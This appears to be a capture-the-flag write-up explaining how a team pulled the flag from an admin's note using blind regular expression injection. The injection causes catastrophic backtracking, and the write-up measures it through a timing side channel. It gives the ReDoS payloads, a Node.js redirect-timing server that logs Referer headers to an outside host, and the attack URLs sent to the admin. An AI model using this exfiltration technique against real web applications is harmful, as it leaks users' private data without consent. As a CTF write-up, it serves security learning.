The flag is in the admin's note, so we had to do XSS.Looking at `app.js` carefully, we realized that line 60 builds a regular expression object from an arbitrary input of `document.location.search` and line 61 does a test using the regular expression object.Thus, we decided to do a blind regular expression injection attack, which is explained in https://diary.shift-js.info/blind-regular-expression-injection/.When we set `document.location.search` to `(?=^He11o")((((.*)*)*)*)*salt`, one of the following two things occurs.
* If there is a note that starts with `He11o`, the evaluation of the regular expression will take a long time and slow down browsers.* If there is not, the evaluation will be done quickly.
To know the speed of browsers, we made browsers load a header image from our server.However, browsers load a header image before evaluating the regular expression.Therefore, we wrote the server-side script that does not serve an image quickly but waits 2 seconds and redirects browsers to another server.
```const http = require('http');const { performance } = require('perf_hooks');const { URL } = require('url');const server = http.createServer((req, res) => {  setTimeout(() => {    res.writeHead(302, {      'Location': 'http://ourserver.example.com:8001/?r=' + encodeURIComponent(req.headers.referer) + '&s=' + encodeURIComponent(performance.now())    });    res.end();  }, 2000);});server.listen(8000);
const server2 = http.createServer(function (req, res) {  const url = new URL(req.url, 'http://ourserver.example.com:8001');  console.log(url.searchParams.get('r'));  console.log(performance.now() - parseInt(url.searchParams.get('s')));  res.writeHead(200, {'Content-Type': 'text/plain'});  res.end('ok\n');});server2.listen(8001);```
When the evaluation of the regular expression slows down browsers, it significantly increases the time between connecting to the 1st server and connecting to the 2nd server, so we can determine whether there is a note starting with a prefix or not.Therefore, making the admin visit `http://34.84.161.130:18364/?^(?=^TSGCTF\{A)((((.*)*)*)*)*salt#http://ourserver.example.com:8000/`, `http://34.84.161.130:18364/?^(?=^TSGCTF\{B)((((.*)*)*)*)*salt#http://ourserver.example.com:8000/`, ..., we determined the flag.